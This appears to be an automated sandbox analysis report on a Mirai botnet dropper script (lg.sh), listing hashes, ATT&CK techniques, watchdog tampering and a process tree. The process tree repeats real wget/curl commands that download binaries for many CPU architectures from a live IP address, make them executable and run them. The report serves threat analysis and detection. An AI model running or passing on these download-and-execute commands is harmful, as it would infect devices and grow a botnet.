mirai | fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b

Analysis

max time kernel
148s
max time network
155s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/03/2025, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lg.sh
Size 2KB
Sample250311-kdmd5aytex
SHA256 fa33a3db72cd981bf4fd4b394bb31fec13831eb94fcba048c0a6f60e07eb233b
MD5 692f9c1bb6968288bf29d821a3e10076
SHA1 f19e711e883db0ad8f0c456586a9ad466e1fa599
SHA512 38032bacfa117dce21578047eb50a79b83f93cc21934bb84891d236ff7cb3fd05925e0c6caadcec68b27087d1b50e4fdac0273d730b40180915aa788acc3beee
MD5 SHA1 SHA512

Score

10^/10

mirai unstable antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
829	chmod
678	chmod
696	chmod
774	chmod
781	chmod
805	chmod
818	chmod
758	chmod
786	chmod
791	chmod
798	chmod
812	chmod
823	chmod

Deletes itself 2 IoCs

pid	Process
775	WTH
792	WTH

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	679	lg.sh
/tmp/WTH	698	lg.sh
/tmp/WTH	759	lg.sh
/tmp/WTH	775	lg.sh
/tmp/WTH	782	lg.sh
/tmp/WTH	787	lg.sh
/tmp/WTH	792	lg.sh
/tmp/WTH	799	lg.sh
/tmp/WTH	807	lg.sh
/tmp/WTH	813	lg.sh
/tmp/WTH	819	lg.sh
/tmp/WTH	824	lg.sh
/tmp/WTH	830	lg.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	fd25qh63pp2hhqjv	775	WTH
Changes the process name, possibly in an attempt to hide itself	m3lhk3budjm1t7tv	792	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/maps	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	WTH
File opened for reading	/proc/self/maps	WTH
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	WTH
File opened for reading	/proc/self/exe	WTH
File opened for reading	/proc/self/exe	WTH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
695	cat
681	wget
687	curl

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/EdiAf.m68k	wget
File opened for modification	/tmp/EdiAf.sh4	wget
File opened for modification	/tmp/WTH	lg.sh
File opened for modification	/tmp/EdiAf.mpsl	wget
File opened for modification	/tmp/EdiAf.arm5	wget
File opened for modification	/tmp/EdiAf.ppc	wget
File opened for modification	/tmp/EdiAf.m68k	curl
File opened for modification	/tmp/EdiAf.spc	wget
File opened for modification	/tmp/EdiAf.spc	curl
File opened for modification	/tmp/EdiAf.sh4	curl
File opened for modification	/tmp/EdiAf.mips	curl
File opened for modification	/tmp/EdiAf.arm	wget
File opened for modification	/tmp/EdiAf.arm	curl
File opened for modification	/tmp/EdiAf.arm6	curl
File opened for modification	/tmp/EdiAf.arm7	wget
File opened for modification	/tmp/EdiAf.x86	wget
File opened for modification	/tmp/EdiAf.x86	curl
File opened for modification	/tmp/EdiAf.mips	wget
File opened for modification	/tmp/EdiAf.mpsl	curl
File opened for modification	/tmp/EdiAf.arm5	curl
File opened for modification	/tmp/EdiAf.i686	curl
File opened for modification	/tmp/EdiAf.arc	curl
File opened for modification	/tmp/EdiAf.arm6	wget
File opened for modification	/tmp/EdiAf.arm7	curl
File opened for modification	/tmp/EdiAf.ppc	curl

/tmp/lg.sh
/tmp/lg.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:648
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.x86
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/cat
  cat EdiAf.x86
  2⤵
  PID:677
- /bin/chmod
  chmod +x EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:679
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /bin/cat
  cat EdiAf.mips
  2⤵
  - System Network Configuration Discovery
  PID:695
- /bin/chmod
  chmod +x EdiAf.mips EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:698
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.mpsl
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat EdiAf.mpsl
  2⤵
  PID:756
- /bin/chmod
  chmod +x EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:759
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.arm
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat EdiAf.arm
  2⤵
  PID:773
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  - Reads runtime system information
  PID:775
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.arm5
  2⤵
  - Writes file to tmp directory
  PID:777
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/cat
  cat EdiAf.arm5
  2⤵
  PID:780
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Reads runtime system information
  PID:782
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.arm6
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/cat
  cat EdiAf.arm6
  2⤵
  PID:785
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Reads runtime system information
  PID:787
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.arm7
  2⤵
  - Writes file to tmp directory
  PID:788
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat EdiAf.arm7
  2⤵
  PID:790
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:792
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.ppc
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/cat
  cat EdiAf.ppc
  2⤵
  PID:797
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:799
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.m68k
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/cat
  cat EdiAf.m68k
  2⤵
  PID:804
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:807
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.spc
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat EdiAf.spc
  2⤵
  PID:811
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:813
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.i686
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat EdiAf.i686
  2⤵
  PID:817
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:819
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.sh4
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat EdiAf.sh4
  2⤵
  PID:822
- /bin/chmod
  chmod +x EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:824
- /usr/bin/wget
  wget http://78.40.117.13/EdiAf.arc
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://78.40.117.13/EdiAf.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat EdiAf.arc
  2⤵
  PID:828
- /bin/chmod
  chmod +x EdiAf.arc EdiAf.arm EdiAf.arm5 EdiAf.arm6 EdiAf.arm7 EdiAf.i686 EdiAf.m68k EdiAf.mips EdiAf.mpsl EdiAf.ppc EdiAf.sh4 EdiAf.spc EdiAf.x86 lg.sh systemd-private-451f5880870a4cb6bcf9ecbd9849d1d3-systemd-timedated.service-kxwm2s WTH
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/WTH
  ./WTH lg.selfrep
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EdiAf.x86

Path /tmp/EdiAf.x86
Size 30KB
SHA256 87dd914f28847f21e680b74700b0b4b339eb8f301677b53b1dddf8ffa2f33612
MD5 e932653d32b429c51de2046623fa71d2
SHA1 32ecc535e6cf6e99f105835d4a7cb75ef4cb233a
SHA512 e284ce814a09b33a108507645c88845aa478e05d7925742e09f190f4c733630429e9f9460c76b9e3b6ec17eddc3110e8283e515891bcaea4ce0307509fbe84c2
SSDEEP 768:g5Ox64mumNhAb5fsZjJCnM1KuU54eohPK2:gEQ4mumXkfsSMs3biPt
MD5 SHA1 SHA512 SSDEEP

Submit Download

WTH

Path /tmp/WTH
Size 33KB
SHA256 42c2075a2803b78355f68b9d651a7bd154e5b61f62418d84a3b4d064b5c68a7d
MD5 029a7185777b7f885a6c3807e46b7365
SHA1 87372b0029b72446861c7b429e3ef1626c337218
SHA512 4890cb74a283c03d790ffe4f2e5fbc06d82d5943773874c00c48171000cb21891720a57eb22e036cd2324e28b476a38f61c29f0d05d2949c2f4c8cdb971779a8
SSDEEP 768:l4ix6rNOUWcSYTjnXvDakOLkXrr8UxhvdJgGlzDpUYsbN:XxwdXvXv2NYEAhv3VqYYN
MD5 SHA1 SHA512 SSDEEP

Submit Download

WTH

Path /tmp/WTH
Size 35KB
SHA256 b9f12d8c72d2a2a7263e1a7c2947e3891212b3566aae1b873212c6031e02de4d
MD5 7327f58c0e15f6086301a81780e100dc
SHA1 292bb04ad4df407ac687ef1df1071659708bd3bb
SHA512 4cc238acfd72556b2453f4d2880ccc3b2f00d0899c98a6b7eeee7cb139b242b318b8483b3bc70f96ca23934719f2152712d0efb8d9a1c950a0c98eed02452911
SSDEEP 768:mznpcZly4oow5YOlIu7B42xs+YYeXRUMo4WMr:m1OoN/Yyrl5YhXZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

WTH

Path /tmp/WTH
Size 32KB
SHA256 cee6e1cc48f81462d1668be2c341d7cc84b24e20e1747be03ad7e296434bffe7
MD5 addb1cd662dd870b9b7ed5273d6fa76e
SHA1 6e12f9d5128a0de23d4b4b0dbfbefb91ff09dfc0
SHA512 28525de6add0d53f05e3c7c1e7d84927f40aee8c24d531216b6a77aa0f0a11fddd67b7f41b9eccc9b6692579a0c0f7453145480f7f8bacdd5d7ab13ffaad2d4f
SSDEEP 768:h2jR3BG0+z6kwlTFhzIvE77x+h6MbPzdn4Jp0JEs3UFb:huBI6LhzUE7V+Unp0C
MD5 SHA1 SHA512 SSDEEP

Submit Download

WTH

Path /tmp/WTH
Size 21KB
SHA256 40fe55ff37dfaa1eded6d4a0d28994f7eaa4f36c384676bf3587349390a800f0
MD5 a117b1b367633cb07f0795bd5f0c6f8f
SHA1 32bfac42c7134383c6381b94c0d75317fcb56d11
SHA512 7e9e4ac7b911b44f40eb14f684bac76478e95085ac0cc393dac95fa312057e9c4f1a3508338098026bd1369179cccae91ca07092024201b3619fdc4401a25726
SSDEEP 384:ptZpn561tBcNMThmIEJcBWTQiLQS8VWr6EtrLmGEmdGU5ECT:ptb561tTmIECWTPLQS8WWEi3U/
MD5 SHA1 SHA512 SSDEEP

Submit Download

WTH

Path /tmp/WTH
Size 75KB
SHA256 219f1a94474530ae2502631dabb897e1442ce2b535728f36e7eb5153ae2228ed
MD5 642dff628df548a6c458f004fd3b5aa1
SHA1 cfd38a2a7522ed9637978f6f2c6ba117d60a9ec7
SHA512 dc4ae205c670da0ead108aa30eb7627fab0a11fe4c47ce2c66042f89ef0ba4f52792d8217d98852e0c471f071079bb76bc4b975e32a018e3a5eeceb98c33f851
SSDEEP 1536:baAmkZil8IC9s/mRF2NynEX4C+op7CTKwVDz+qEoCny3/7o+el+:b/JouIC9s/mRF2NynEXx+rWw4qEoH/7z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads